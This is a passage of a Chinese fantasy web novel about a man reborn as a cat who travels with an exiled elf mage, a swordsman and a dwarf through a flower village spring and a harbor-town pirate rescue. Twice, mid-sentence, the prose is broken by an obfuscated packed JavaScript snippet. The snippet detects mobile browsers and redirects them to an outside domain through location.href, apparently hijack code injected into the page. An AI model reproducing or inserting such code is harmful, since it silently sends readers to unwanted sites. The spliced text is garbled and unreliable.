夜渐深,炉火星子跳得慢了,四个人的呼吸声混着猫呼噜,像首温软的歌,绕在炉边,也绕在每个人心里。奎兰攥着发带的手松了些,布片滑到掌心,带着罗文的温度,暖了整颗心;西拉斯把盾往奎兰那边又挪了挪,阴影里,护符的光轻轻晃,像老马克在笑着。 这夜的雪,落在青稻村的屋顶上,也落在四个人心里——埋了冬的疤,催着春的芽。等天明,藤蔓会从雪缝里钻出来,带着融泥的香,往花丘村的方向,漫成新的故事。 7. 花丘村春 花丘村的风裹着三色堇的香往人鼻子里钻,混着泥土翻晒后的腥气,还沾着点溪边青苔的潮气——比方绪白当社畜时写字楼里那瓶标价三位数的香薰踏实十倍,香得有根,不像那些人工调的味,飘着飘着就散了。 方绪白蹲在罗文搭在田埂的披风上舔爪子,后爪蹬着披风褶皱里沾的草籽,蹬得“沙沙”响,像在碾那年加班时没啃完的饼干碎,脆生生的,带着点人间烟火的糙。 前几天追田鼠钻草窠,背蹭了满是苍耳子,罗文拿细齿梳给它篦了半宿,梳断了两根齿还低眉顺眼赔笑:“是我手笨,没弄疼你吧?”此刻它舔得格外仔细,连肉垫缝里的泥都没放过——毕竟这猫身的“仪容管理”,如今也算团队体面的一部分,社畜刻在骨子里的职业素养,改不掉也不想改。 村口传来木杖戳地的“笃笃”声,节奏沉得像敲在石板上,一下下往人心里撞,带着点老时光的重。 方绪白抬眼瞅去,半老精灵拄着枣木拐杖站在石碾旁,拐杖头包着层铜皮,戳在石碾上泛着冷白光,倒比西拉斯的盾沿还亮些,亮得能照见石碾上的旧纹。 半老精灵浅灰的发被风扬起来,发间别着支干枯的鼠尾草——村里阿婆说过半精灵老了爱别这草,记挂从前的事时,就摩挲着草杆发呆,草杆上的纹路,能勾出藏在岁月里的人。 老半精灵看见蹲在花田边的奎兰,喉结滚了滚,像含着口没咽的苦茶,涩得慌,拐杖往石碾上磕了磕叹出声:“精灵不回林,跟鱼离了水一样,根都没了哟,风一吹就慌。” 奎兰手里的陶水壶正往石竹花根浇,壶嘴流出的水“咕嘟”泡着土,溅起的小泥点沾在他粗布裤脚,像溅了点星子。听见这话手猛地顿了顿,水顺着花瓣往下淌,在土上洇出小湿圈,圈里还泡着片刚落的粉瓣,像被打湿的信笺,写着没说出口的慌。他没抬头,浅金发垂着遮了半张脸,耳尖却悄悄往下抿成个小弧——方绪白熟得很这模样,去年在精灵边境森林,他指着老橡树说“小时候爬过这树摘橡果”时也这么抿耳尖,是装没听见,又藏不住那点慌,像被人戳到旧伤口还强撑着说“不疼,早好了”。木杖斜斜靠在膝头,杖顶缠着的浅蓝发带被风吹得晃,发带断了半截,毛边蹭着杖身镶的矮人暖木——那是他妹妹当年塞银镯时用的发带,方绪白记得第三年冬祭围炉时,奎兰摸着凉掉的发带说过,银镯落逃亡时躲的树洞里了,就剩这发带攥在怀里三年,洗得发毛了都没舍得扔,“她总说这颜色像森林的晨雾,说我走丢了,跟着雾就能找回家”。 “哥哥的魔法能让花常开吗?”有个半精灵小孩突然从花丛里钻出来,膝盖沾着泥印子,像只刚从田埂滚过的小刺猬,扎着满身的土气。 小孩耳尖是半精灵特有的尖形,还沾着片蒲公英绒,软乎乎的,伸手就拽奎兰的斗篷角晃,力道倒不小,把斗篷拽得皱了团:“阿娘说我种的玫瑰总开三天就谢,说我手笨得像熊崽——熊崽都比我会浇花,上次它还把蜂巢弄掉了,阿娘追着它骂了半条街!” 奎兰把水壶往旁边石台上放,陶壶底“当”地碰着石台,惊飞了石缝里的小雀,扑棱棱飞进云里,倒像把刚才的沉默也带跑了,云都飘得轻快些。 他指尖捏着木杖往小孩脚边那丛蔫玫瑰点了点,指尖发颤——方绪白心里门儿清,换作去年在青稻村,被陌生小孩拽衣角早往后缩半尺了,那时他连跟村长说话都要攥着木杖才敢抬头,指节捏得发白。 浅绿色的魔法光顺着杖尖漫出去,软乎乎的像初春融的溪水,裹着花骨朵转了圈,蔫头耷脑的玫瑰竟“啪”地绽开半朵,粉瓣上还沾着魔法光凝成的小水珠,颤巍巍的像怕摔碎,连风都不敢吹得太急。 “以前在森林,我给人类村庄的小孩种的花浇过魔法水。”他声音轻得像怕碰碎花瓣,蓝眼盯着花瓣上的水珠,睫毛垂着颤,像沾了露水的蝶翼,扇一下都怕抖落了光,“他们总蹲森林边摘野菊,裤脚沾着林边的露水,鞋上还沾着泥,长老骂他们扰了林界,举着法杖赶人时,小孩攥着野菊哭,花瓣掉了还往回捡,说要带回去给阿娘插在陶罐里……”他顿了顿,指尖轻轻碰了碰完全绽开的玫瑰,指尖的温度让花瓣又颤了颤,像被暖着了,“我就偷偷在林边种了片虞美人,用魔法催着开。 他们说花能开三个月,就不用总来森林边找花了,长老也不用动火——那时我总怕长老发现,半夜还绕去林边看,怕花谢了,怕小孩再来时,连朵能摘的都没有。” 小孩扒着他的木杖看,指腹蹭过杖身暖木,暖得像揣了烤红薯,烫得人心里发甜,眼睛亮得更厉害了:“哥哥的魔法比族里祭司的软和!祭司的光刺得人眼疼,上次我碰了下花苞,手背还红了三天,阿娘给我涂了草药才好,草药苦得我直吐舌头!”奎兰耳尖“唰”地红透了,往花田深处挪了挪,膝盖蹭着石竹花叶,划得裤腿沙沙响,倒像在掩饰慌张,却把木杖又往小孩的玫瑰丛凑了凑——魔法光又亮了亮,玫瑰彻底开足了,粉瓣撑得鼓鼓的,倒比旁的花精神,像揣了团小太阳,连周围的石竹都显得黯淡些。 小孩拍着手笑,笑声脆得像咬开的糖,他也跟着弯了弯嘴角,蓝眼里落着花影,比去年看边境橡树时亮多了,像蒙尘的玻璃被擦干净,能映出光了。 罗文坐在田埂那头补盾带,粗麻线穿进针眼时“嘶”地过线,线轴在膝头转了个圈,沾着的草屑掉在布纹里,像撒了点碎绿。盾带是上次毒蛙沼泽时被毒液烧了个焦口,黑黢黢的沾着草屑,像块洗不净的旧疤,看着就硌心。 他用牙咬着线尾拽紧,线勒得指节泛白,像怕缝不牢,怕这疤再裂开,连带着西拉斯的胳膊也受了寒——方绪白见过他缝自己的旧伤,也是这副专注模样,仿佛手里攥着的不是线,是能把碎掉的东西拼起来的咒,一针一线都透着较真。 半老精灵正跟蹲在碾子旁编筐的妇人说:“当年奎兰被逐出森林时,族里议事厅的火把都快烧到房梁了——大长老攥着法杖敲石桌,‘咚咚’响,石桌上的水都晃,说他心向人类,是精灵的叛徒,要收他的魔法核心呢,吓得三长老当场就跪了。”编筐妇人的篾条“啪”地断了根,竹篾的尖刺扎了手,她却没顾上,往奎兰那边瞥了眼,指尖捻着断篾叹气:“多好的孩子,心软得像棉花,怎么就成叛徒了。”老半精灵又叹,气里带着点老泪的咸:“是三长老偷偷放他走的,后半夜摸进柴房塞了本磨边的基础魔法书,书里夹着片虞美人干花,说‘心在哪,魔法就该护在哪’,哪有什么该守不该守的规矩——那老精灵啊,年轻时也总往人类镇子跑,还跟铁匠铺的小子学过打铁呢。” 罗文穿针的手顿了顿,抬头往奎兰那边望——奎兰正被三两个半精灵小孩围着,教他们用指尖蘸露水点花苞,浅金发在花田里晃,像株会动的柳,蓝眼垂着看小孩的手,没从前被人盯着时的慌了,连指尖碰着小孩粗布衣袖都没往回缩。 有个扎羊角辫的小孩抬手要摸他的发带,他虽往回缩了缩肩,却没把木杖抽走,只是小声说“别拽,会断”,语气里没了怯意,倒有了点浅淡的温柔——方绪白记得第一年在荆棘谷,奎兰被小孩夸“魔法厉害”都要躲到树后,耳朵红得像被晒伤,如今竟能站在花田里教魔法了,倒像那株被他催开的玫瑰,慢慢舒展开了,不怕风,也不怕人看。 罗文低头咬断线头,盾带的焦口被缝得整整齐齐,针脚密得像怕风钻进去,还在焦口旁绣了个小小的藤叶——跟奎兰常催的青藤一个样,叶尖还特意绣得圆乎乎的,不像他平时缝东西那样利落,倒添了点软意,像把花田的暖,也绣进了粗麻布里。 方绪白从披风上跳下来,往村东的铁匠铺窜——西拉斯今早揣着铁锉出门时,准又忘了带矮人火石,那家伙总记不住细事,上次在盐商镇还把干粮落在老妇家,回头找时被追着塞了三个麦饼,说“壮实小子得多吃”。没火石怎么烧红锄头刃?刚窜到铺门口,就听见风箱“呼嗒呼嗒”响,像头老驴在喘气,半精灵铁匠举着把老锤往西拉斯手里递,锤柄被磨得光溜溜的,包浆亮得能映出西拉斯的红发,像面小镜子,照得他眼底的红都软了些:“这是我爹当年从矿坑救的矮人送的,说欠他条命,留着给后人还人情。我爹临终前还念叨,说那矮人红着眼塞锤时,说‘以后见着这锤,就当我还活着,替我多敲敲铁,多护护人’——我猜那矮人准是你同伴吧?看你攥锤的样子,跟我爹说的那矮人一个样,都带着股子不服输的劲。” 西拉斯接锤的手“抖”了下,锤差点掉铁砧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290271|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,“哐当”擦着铁砧边滑过去,惊得他赶紧攥紧,指节都白了,像怕这锤飞了,连带着老马克的影子也没了。他黑发红眼盯着锤柄看,指腹蹭过个歪歪扭扭的刻痕——是个“克”字,老马克的标记!方绪白记得西拉斯第四年醉酒时抱着酒坛说过,当年矿坑小队就老马克爱刻记号,说铁锤刻了名,队友走散了也好凭着找,“就算埋在矿渣里,也能认出是自己人”。 有次西拉斯笑他刻得丑,像狗啃的,老马克举着锤追了他半条矿道,边追边骂:“等你小子记挂人了,就知道刻个记号多金贵!等我不在了,你看见这记号,就当我还跟你一起敲铁!”那时西拉斯还笑老马克多愁善感,如今指尖在刻痕上蹭来蹭去,像在摸块滚烫的烙铁,烫得手心发疼,却舍不得挪开。 方绪白跳上铁匠铺的木台,用爪子拍了拍他的手背——上次在星坠湖盯着铁链掉泪时,他手也这么抖,是憋着疼呢,偏要装没事,嘴硬说“风迷了眼”。 西拉斯低头摸了摸锤柄上的刻痕,指腹把刻痕里的灰蹭掉,红眼湿得发亮,却没掉泪,只是喉结滚了滚,把锤往铁砧上“哐当”一放,震得铁砧上的铁钉都跳了跳,声音硬邦邦的,像在给自己打气:“这锤还能用!敲铁够劲!”说着就抓过把豁口的锄头往铁砧上按,举着老锤往下砸,火星溅在他手背上的旧疤上——那疤是矿坑塌时被碎石划的,弯弯曲曲像条小蛇,此刻被火星烫得发红,他浑然不觉,砸得比哪回都卖力,“敲平了还能再用三年!给村里阿叔阿婆刨地,够结实!” 铁匠铺的风箱还在“呼嗒呼嗒”响,方绪白蹲在木台上看,见西拉斯砸着砸着,突然停了手。 他举着老锤往锄头柄上凑,用锤尖在木柄不起眼的地方悄悄刻了个小小的“克”字,刻得浅,像怕被人看见,又像怕自己忘了,刻的时候屏住了呼吸,连风箱的声都盖不住他的心跳。刻完往怀里摸了摸,掏出块硬糖往嘴里塞——是上次暖冬祭阿婆给的,水果味的,方绪白记得当时西拉斯塞给它半块,自己留了半块揣兜里,如今糖纸都被汗浸软了,黏在糖上撕不开,他就连纸一起嚼,“咯吱咯吱”响,甜得发苦。 他嚼着糖砸锄头,锤头落得比刚才轻了些,像怕震坏了柄上的小记号,连平时总挂在嘴边的“笨猫别挡着路”都没说——方绪白正蹲在他脚边,用尾巴扫他沾了铁屑的裤脚呢,扫得仔细,连缝里的碎铁都想扫出来。 方绪白甩了甩尾巴,突然觉得风里的花香更暖了——奎兰的魔法光软乎乎的,照得玫瑰发亮,也照得小孩的笑更甜;罗文缝的藤叶针脚密,把盾带的疤遮得好好的,也把西拉斯的旧伤护得暖;西拉斯刻的小记号浅,却比任何誓言都实在,像把老马克的话,也刻进了春里。 这些碎事凑在一起,倒比第一年边陲镇那盏忽明忽暗的油灯还亮堂,暖得人心里发颤。它跳下木台往花田跑,得去看看奎兰的玫瑰开得够不够精神,顺便用尾巴扫扫罗文的手背——盾带缝好了该歇歇,社畜都懂,绷太紧要累着的,何况他昨晚还悄悄给奎兰补磨破的斗篷袖口呢,针脚比给自己缝的还密。 跑过田埂时,听见奎兰正跟小孩说:“魔法不用总催大树的,催花也很好,花能让人笑,比催大树结果子还管用。”声音不大,却比刚到花丘村时清楚多了,没了从前的怯,多了点笃定。 方绪白晃了晃尾巴,觉得这春天的风,是真的把什么都吹软了,吹得旧疤不疼了,吹得慌意散了,吹得藏在心里的暖,都冒了出来,像奎兰催开的玫瑰,一朵朵,都透着活气。 奎兰发梢的粉瓣也被风掀落,飘在半精灵小孩的羊角辫里,像别了朵小粉花。 小孩摸了摸辫子里的花瓣,仰脸问:“哥哥的魔法,能让花瓣飘到海那边吗?我阿娘说,海尽头有精灵的船,船上有会唱歌的精灵,能把话带给远方的人。” 奎兰蓝眼映着花田,漫山遍野的粉与紫,像把春天都装在了眼里,指尖摩挲木杖暖木——那暖木里嵌着的藤纹,像条没睡醒的青蛇,正慢慢往夏的故事里钻,带着点怯,却也带着点盼。 他轻轻点了点头,指尖的魔法光又亮了些,托起那片粉瓣往天上送:“能的,风会带着它走,走到海那边,让精灵的船,也闻见花丘村的香。” 8. 码头镇夏 码头镇的石板缝里,春章飘来的粉瓣泡在雨水中,成了半透明的花笺——这是奎兰在花丘村催开的玫瑰碎瓣,沾着魔法光的余温,在海风里泡了半月光景,竟还没烂,边缘卷着点湿软的韧,像舍不得化开的春。 石板缝里还积着昨夜的雨水,映着码头的灰云,连浪尖的白都透着沉。 海风卷着鱼腥味漫过来时,方绪白正蹲在罗文肩头舔爪子——前爪沾了今早帮西拉斯叼钉子时蹭的铁锈,褐红色的屑嵌在肉垫缝里,舔了三来回,铁锈没去多少,反倒把爪子舔得灰一块黄一块,连琥珀色瞳孔里都映着点锈迹,活像刚从工地爬出来的社畜,浑身带着“搬砖”的糙气。 船工们的骂声突然炸在码头上,粗粝的嗓门砸在船板上能弹起回音,震得方绪白耳朵尖发麻:“这群天杀的海盗!连载着精灵娃的商船都劫!那娃今早还蹲码头啃麦饼呢,才到我腰高,手里攥着半块没吃完的,饼渣还掉我鞋上了,粘得我走一步硌一下!” 方绪白的尾巴“唰”地竖成根棍。不是被骂声惊的,是后颈的毛根突然炸了——社畜炼就的危险感知顺着脊椎爬上来,像寒冬里被冰锥狠狠刺了下后颈,连耳尖都麻得发颤。 方绪柏“喵呜”一声甩尾巴,尾巴尖“啪”地扫在罗文耳后,力道比平时重了三分,扫得罗文耳尖都红了;前爪扒着罗文的衣领使劲往远处黑帆指,爪子勾得亚麻衣领都皱了——那艘挂黑帆的船在浪里晃,帆上画的骷髅头被海风扯得变了形,眼眶歪到了颧骨上,偏有只海鸟落在骷髅眼窝里,“嘎”地叫了声,鸟粪“啪嗒”掉在骷髅牙上,透着股又凶又蠢的邪气,像块没刻好的劣质木牌。 罗文几乎是同时抬头,绿眼沉得像没底的深潭,手已经按在了剑柄上。指腹蹭过剑鞘上那枚刚用树脂封好的花瓣“护”字——那是花丘村半精灵小孩用雏菊拼的,花瓣干了还带着点脆,树脂层薄得能看见花瓣的纹路,此刻他指尖的温度却比平时高了些,像攥着团没燃透的火:“西拉斯,解船绳。奎兰,准备藤蔓。” 话音没落,他已经踩着码头的木桩翻身跳上拴着的小渔船,木桨往水里一划就溅起半人高的浪,船板被他踩得“吱呀”响,却稳得没晃一下——方绪白记得刚组队时,罗文踩个独木桥都得扶着奎兰的木杖,走三步晃两下,如今却能在晃悠悠的船板上站得像钉在那儿似的,连衣角都没乱飘,只有棕发被海风掀得贴在脸颊。 奎兰扒着船沿站定时,浅金发被海风刮得贴在脸颊,发梢还沾着今早帮花丘村阿婆浇花时蹭的花瓣碎——是片粉白的雏菊瓣,边缘有点卷,被风一吹,颤巍巍落在手背上,像只停驻的小蝶。 奎兰攥着木杖的手紧了紧,指节压得木杖上的橡木纹路都陷了进去,指缝里还沾着点早上培土时蹭的泥,湿乎乎地粘在木纹里。木杖尖往海面一戳,青藤“嗖”地窜出去——比上次在毒蛙沼泽时快了足有一倍,藤尖划破海面带起细浪,像淬了劲的箭,“啪”地缠上海盗船的桅杆,藤梢还机灵地绕了两圈打了个死结,结扣是奎兰小时候在森林里学的“松鼠结”,牢得拽都拽不开。 方绪白蹲在船边看得清楚,这次的藤比上次粗了半圈,藤上的绒毛都支棱着,叶脉在阳光下透着亮绿,是用了十成力的样子——以前奎兰用藤蔓总留着劲,怕伤着海鸟,怕勒疼桅杆,这次却没含糊,连藤尖都带着股狠劲。 可藤梢往甲板探时,奎兰的动作猛地顿住了。木杖“当啷”磕在船帮上,差点从手里滑出去,他蓝眼睁得溜圆,连呼吸都忘了——甲板角落缩着个精灵小孩,浅金色的软发乱糟糟贴在脸上,沾着海水和灰,一缕头发还粘在嘴角,像刚哭过;细腕上晃着只银镯,阳光照得银面发亮,那上面盘的藤蔓纹绕了三圈半,最后收尾处是个极小的花苞,花苞尖还刻了个“穗”字——和当年妹妹塞给他的那只一模一样。族里的规矩,只有亲族才能戴这种纹的镯子,连刻纹的工匠都是族里世代传下来的,那个花苞纹配“穗”字,是他妹妹出生那年,长老特意让工匠刻的,说妹妹叫“穗穗”,得有个记号,以后走散了也好认。 “别伤着她!”奎兰的声音发颤,尾音都飘着抖,木杖下意识往回一收,青藤松了松劲——就这一下,海盗里突然窜出个络腮胡举着弯刀砍藤,“咔嚓”一声,青藤断了小半,翠绿色的汁液顺着断口往外渗,像在流血,滴在海面上,没一会儿就被浪冲散了。 黑帆借着风势又鼓得更满了些,船往远海飘出去好几尺,连浪花都跟着往后退,离码头越来越远,像要躲进灰云里。 西拉斯举着盾往船板上一砸,盾面磕在木板上迸出火星,黑发红眼瞪得溜圆,嗓门比浪声还大:“发什么愣!断了藤怎么追——”话没说完,他瞥见奎兰攥着木杖的指节泛白,连手背上的青筋都看得清,眼尾红得像被火燎过似的,睫毛上还沾了点水汽,到了嘴边的骂声又咽了回去,只剩喉结滚了滚。 西拉斯挠了挠头,后脑勺的呆毛晃了晃,反手从船底拖出备用的缆绳往罗文手里塞:“用这个!结实!我上次修农具剩的,浸过桐油,比藤经砍,海盗的刀砍三回都不断!”塞完又补了句,声音闷了些,挠着头往远处看,假装看浪。 “藤断了再长就是,娃不能丢……丢了该哭了,哭起来不好哄。” 罗文接住缆绳时没回头,只是手腕一转,缆绳像长了眼睛似的往海盗船的锚链上缠——三圈缠完还打了个水手结,是上次在码头帮船工递缆绳时学的,当时船工还夸他“学得快,比我家小子机灵”。 罗文棹桨的力道又重了几分,手臂上的肌肉绷着,小渔船在浪里窜得更快,船舷都快擦着浪尖了,溅起的海水打在方绪白身上,凉得它缩了缩脖子,赶紧往罗文怀里钻了钻,把湿漉漉的毛蹭在他衣襟上。 方绪白蹲在船边,爪子扒着船板看——罗文的侧脸绷得紧,下颌线抿成条直线,唇色比平时白,可握着桨的手稳得很,连溅在他棕发上的水珠都没心思抹。方绪白突然懂了,这是罗文的“任务模式”,当年自己在公司赶项目时,也是这副“天塌了也先把活干完”的样子,老板拍桌子骂娘都听不见,眼里只有进度条,连咖啡洒了都顾不上擦。 后来追上海盗船时,罗文踩着船帮翻身跳上去,船帮被他踩得往下沉了沉,剑“噌”地出鞘,剑光扫过甲板时带起风——比上次劈毒蛙时快了半拍,剑刃还带着点刚磨过的寒光,映得海盗们的脸都发白。 海盗们正忙着收帆,见有人跳上来,七手八脚举着刀围过来,刀上还沾着鱼腥味。 罗文没慌,侧身躲过最前面那把刀,手腕一翻,剑脊“当”地撞在刀背上,那海盗“哎哟”一声,刀“哐当”掉在甲板上,震得甲板缝里的碎木屑都跳了起来。 最后一个海盗举着弯刀劈过来,刀风里还带着股酒气,罗文脚往旁边挪了半步,正好避开刀尖,又用剑脊撞过去——这次更重,那海盗手一麻,刀飞出去老远,砸在船舷上弹进海里,溅起一小圈浪。 罗文抬脚踩住他的手腕,靴底碾在甲板上发出闷响:“动一下,腿给你卸了。”那语气平平的,却比吼出来还吓人——方绪白见过他用这语气怼过威吓村民催债的贵族,当时那贵族攥着债契的手都抖了,连话都说不利索。 海盗果然抱着头蹲在地上不敢动了,连头都不敢抬,肩膀还一抽一抽的,像被吓坏的野狗。 奎兰这才敢冲过去,蹲在小孩面前时膝盖都软了,“咚”地磕在甲板上也没顾上疼,粗布裤膝头沾了层灰也不管。 奎兰小心翼翼把小孩往怀里抱,手指都在抖——小孩的银镯蹭着他的手背,凉得像当年离开森林时沾的晨露,那晨露也这么凉,凉得他攥着妹妹塞的银镯,一路跑一路哭。那天长老偷偷放他走,月亮刚爬上树梢,妹妹追出来塞给他镯子时,镯子也是这么凉,还带着她手心的汗,她当时攥着他的手晃了晃,小声说“哥你带着,想我的时候就摸一摸,摸了就像我在你身边”。“是长老的孙女?”奎兰的声音哑得厉害,像含着沙,“长老他……还好吗?穗穗她……”话没说完就卡壳了,喉咙里像堵着东西,连呼吸都觉得疼。 小孩怯生生地揪他的斗篷角,小嗓子细得像蚊子哼,还带着点哭腔,眼泪挂在睫毛上,没掉下来:“爷爷说……说族里罚他去守边境,不让他带娃娃。他让我跟着商队走,说能找着会种活花的哥哥——爷爷说哥哥以前总在森林边种雏菊,种得可好了,说哥哥的魔法软乎乎的,不会吓着娃娃。” 小孩顿了顿,小手摸了摸奎兰的斗篷——摸到斗篷上沾的雏菊瓣,指尖顿了顿,轻轻捏起那片花瓣,花瓣干了,却还带着点香。 “爷爷说,会种活花的哥哥心软,不会赶我走,还会给我种雏菊。” 西拉斯在礁石边把盾放平当小凳子,盾面的“护”字纹被阳光晒得暖乎乎的,连上面的划痕都透着点温度——那划痕是上次帮村民挡落石时划的,当时西拉斯还心疼了半天,用布擦了又擦,骂骂咧咧说“这破石头,刮坏我的盾”。 西拉斯听见这话时往旁边挪了挪,给奎兰和小孩腾出来大半块地方,黑发红眼瞥着远处的海——海面上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290272|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海鸥在飞,排着队往远处去,他却没看,只是悄悄把自己的水囊递过去,水囊口还塞着片薄荷叶子,是今早奎兰摘给他的,说能醒神,别总被海风呛着。 奎兰接水囊时碰着他的手,他还别扭地往回缩了缩,指尖蹭到奎兰的手背,又没把手抽走,只是低声说:“水是凉的,别让小孩子喝太急,慢点,别呛着。” 罗文蹲在小孩面前,从怀里摸出把小刻刀——是西拉斯上次给他磨的,刀刃快得很,能削动硬木,刀鞘还是西拉斯用剩下的铜片敲的,边缘有点毛糙,西拉斯磨了好几天才磨光滑,说“拿着顺手,别划着手”。他捡了块甲板上掉的碎木头,是块软松木,带着点松脂香,闻着让人安心。手指捏着木头转,刀刃跟着动,木渣簌簌往下掉,落在甲板上堆了一小撮,像撒了点碎雪。 没一会儿,一个圆脑袋小胳膊的木娃娃就成型了,连娃娃的衣角都刻了两道小褶子,脑袋上还刻了缕歪歪扭扭的头发——方绪白瞅着眼熟,想起来了,去年在青稻村,罗文帮小孩修木车时,车斗里就摆着个差不多的,当时罗文还说“小时候给邻居娃刻过,记着呢,孩子都爱揪娃娃的头发,揪着玩不闹”。 小孩盯着木娃娃看了会儿,攥着奎兰斗篷的手松了松,小手指悄悄往木娃娃的胳膊上碰了碰,指尖刚碰到木头的温,又赶紧缩回去,像怕碰坏了,眼睛却亮得像落了星。 方绪白跳下船,顺着礁石蹦到小孩的膝头——礁石滑,长满了青苔,它中途还打了个趔趄,用尾巴撑了下才站稳,尾巴尖沾了点湿泥也没顾上舔。 小孩刚被吓着,身子还有点僵,小手攥着奎兰的衣角没松,指节都发白了。 方绪白用尾巴尖轻轻扫她的小手,软乎乎的三花毛蹭过她的指尖,尾巴上还沾着点海风的潮气,凉丝丝的却不冰。 小孩愣了愣,突然“咯咯”笑起来,笑声像碎银落进盘子里,脆得好听,小手想去摸方绪白的毛又有点怕,悬在半空晃了晃,只是小声喊:“猫哥哥……你的毛软,比爷爷的兔子还软,兔子的毛有点扎手,你的不扎。” 方绪白的耳朵尖悄悄翘了翘——虽说当“哥哥”比当“勇者大人”亏了点,但被这么软乎乎地喊,好像也不亏,比在写字楼里被老板喊“方绪白,报表呢”舒服多了。 方绪白尾巴没停,还保持着轻轻扫动的节奏,像在哄着似的,连爪子上的铁锈蹭在小孩裤子上都没在意——身为曾经的优秀牛马,哄“客户”(这次是真·小客户)要紧,形象先放放。 奎兰抱着小孩,看着罗文递过去的木娃娃,又看了看蹲在小孩膝头的方绪白,浅金发下的蓝眼慢慢亮起来——像蒙着雾的湖突然透了光,连眼尾的红都淡了,只剩暖。 奎兰伸手摸了摸小孩的银镯,这次指尖没抖——刚才急着追船时没顾上想,现在才后知后觉:原来不是只有森林才有亲族的,原来罗文递木娃娃时指尖蹭过娃娃头发的轻缓、西拉斯挪盾时怕撞着礁石的小心、方绪白扫小孩手时尾巴放软的弧度,都是比森林更暖的东西,是不用刻在银镯上,却刻在心里的记号。 他低头往小孩耳边凑了凑,声音轻得像怕被海风刮走,却带着前所未有的笃定:“不走了,以后哥哥护着你。哥哥会种雏菊,种得比森林边的还好看,也会护着你,不让海盗再欺负你。”小孩“嗯”了声,把脸往他怀里埋了埋,小手攥住了他的衣角,攥得很紧,指缝里还夹着那片雏菊瓣,像攥着个小小的约定。 方绪白瞥了眼远处慢慢沉下去的黑帆,帆上的骷髅头被夕阳照得发红,倒没那么吓人了,像块被晒透的旧木头。 又看了看蹲在礁石边数海鸥的西拉斯——数到第七只还掰着手指头,数错了又重来,嘴里还嘟囔“刚才那只算不算”;正帮小孩擦脸上灰的罗文——用袖口轻轻擦,动作慢得很,怕擦疼了小孩的脸,连沾在小孩睫毛上的灰都用指尖小心挑掉;抱着小孩的奎兰——指尖正轻轻顺着小孩的头发,动作柔得像在拂去花瓣上的晨露。它尾巴尖扫了扫奎兰的手背——刚才奎兰抱小孩时手还抖,现在已经稳了,掌心暖烘烘的,像揣了团小太阳。 方绪白打了个哈欠,却没趴下,耳朵还竖着听着周围的动静——海风里没了海盗的味,只有鱼腥味和雏菊香,连浪声都软了些。勇者的觉悟不能丢,护着这群人,也是任务的一部分,而且……好像也不只是任务了,更像护着自己的小窝,窝里有暖,有笑,还有没吃完的麦饼香。 石板缝里的粉瓣突然抖了抖,像被看不见的手轻轻推了下,顺着水流往码头外漂去。 9. 码头秋 晨雾裹着海腥气,把码头的石板路浸得透湿,踩上去“咯吱”响,像踩着揉软的湿棉。方绪白蹲在奎兰臂弯的藤筐沿上,前爪扒着筐边,尾巴尖有一下没一下扫过筐底——那儿缩着个精灵小孩,昨夜从翻倒的商船上捞上来时浑身是水,此刻攥着奎兰的亚麻衣角直打颤,耳朵尖还沾着片碎海藻,绿莹莹的,像挂了颗小翡翠。 方绪白刚用舌头舔掉后爪缝里的泥,舌尖尝到点咸涩的海风味,就听见身后传来“嗒、嗒”的声响,是靴底碾过积水的动静,比晨雾还冷,冷得能钻进骨头缝。 抬眼时,雾里晃出枚铜徽章,上面刻着交叉的剑与魔杖——是金盾队的标记,铜面被海风蚀得发乌,却还透着点硬气。 领头的法师站在三步外,灰袍下摆沾着泥点,像溅了墨,魔杖尖还凝着没擦净的雨痕,像没化的冰碴,冷得发亮。他的目光先落在奎兰浅金发梢沾着的草叶上,那是昨夜救人时蹭的岸边杂草,枯黄色的,跟着往下滑,掠过奎兰耳后那点精灵特有的尖弧,嘴角突然撇出个冷硬的弧度,像用冰棱划出来的:“精灵叛徒。” 声音压得低,却像石子砸进静水,藤筐里的小孩“嘤”了声,往奎兰怀里缩得更紧,细瘦的胳膊环住奎兰的腰,小脑袋埋在他斗篷上,连呼吸都放轻了。 “当年在边境黑市蹲摊卖魔法卷轴时,”法师的声音又响了些,带着点刻意磨过的尖,像刮过铁皮,“就该想到有朝一日会被族里扒了族徽赶出来,连块像样的栖身地都没有。” 奎兰托着藤筐的指尖顿了顿,蓝眼睛垂着,没接话,只是把藤筐又往怀里拢了拢,指腹蹭过筐沿的藤条,那藤条是他用草木魔法养的,带着点温。 方绪白却把尾巴竖成了旗杆——他见过奎兰夜里坐在篝火边翻旧卷轴,卷轴边角绣的森林纹路都磨白了,针脚细得像精灵族的密语,哪是什么黑市流通的粗制货?上次在山涧边宿营,它还看见卷轴里夹着片干了的银叶,是精灵族长老赐福时才会给的东西,银纹在火边会泛微光。 这会听见法师瞎编排,他后颈的毛都炸起来了,正想弓起背“哈”一声怼回去,后颈突然一暖。 是罗文的手。 掌心温温的,带着常年握剑磨出的薄茧,轻轻按了按他的毛,像在顺毛,也像在安抚。 “金盾队这是要去北境补给?”罗文的声音平得像湖面,像没听见那句嘲讽似的,目光扫过法师腰间松了半圈的剑鞘扣,语气里带着点漫不经心,“码头风大,剑鞘扣不扣紧,回头剑掉海里可捞不回来,北境的海,冷得能冻住剑穗。” 法师嗤了声,鼻孔里喷出水汽,没接话,转身往自家船那边走,灰袍在雾里飘得像片枯叶子,脚步却比来时沉了些。 